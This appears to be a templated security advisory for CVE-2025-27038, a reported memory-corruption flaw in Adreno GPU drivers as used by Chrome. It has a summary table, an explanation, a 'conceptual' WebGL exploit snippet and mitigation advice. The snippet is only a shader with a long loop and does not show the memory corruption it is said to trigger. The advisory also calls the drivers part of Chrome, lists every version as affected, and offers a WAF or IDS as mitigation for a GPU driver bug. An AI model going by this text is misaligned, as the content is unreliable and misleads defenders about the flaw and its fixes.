Overview
The vulnerability tagged as CVE-2025-27038 is a significant flaw in the Adreno GPU drivers used in Google Chrome. This vulnerability enables an attacker to cause memory corruption while rendering graphics, leading to potential system compromise or data leakage. Given the high popularity of Google Chrome among individual and corporate users, the severity of this issue is noteworthy.
Vulnerability Summary
CVE ID: CVE-2025-27038
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Chrome | All versions using Adreno GPU drivers
How the Exploit Works
The exploit targets the graphics rendering process in Chrome. When Chrome uses Adreno GPU drivers to render graphics, certain inputs can cause memory corruption, leading to undefined behavior in the system. This can be manipulated by a malicious actor to compromise the system or leak data.
Conceptual Example Code
Consider the following hypothetical example of how this vulnerability might be exploited:
// A WebGL context is created
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl');
// A shader program is created
var program = gl.createProgram();
// Malicious shader code is inserted, causing memory corruption
var shaderCode = `
precision highp float;
void main() {
float x = 0.0;
for(int i = 0; i < 10000000; i++) {
x += float(i);
}
gl_FragColor = vec4(x, 0.0, 0.0, 1.0);
}
`;
var shader = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(shader, shaderCode);
gl.compileShader(shader);
// The shader program is linked and used
gl.attachShader(program, shader);
gl.linkProgram(program);
gl.useProgram(program);
// The graphics are rendered, triggering the memory corruption
gl.drawArrays(gl.TRIANGLES, 0, 3);This example illustrates how a carefully crafted WebGL program could potentially exploit the memory corruption vulnerability in the Adreno GPU drivers.
Mitigation
Users are recommended to apply the vendor patch as soon as it becomes available. Until then, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
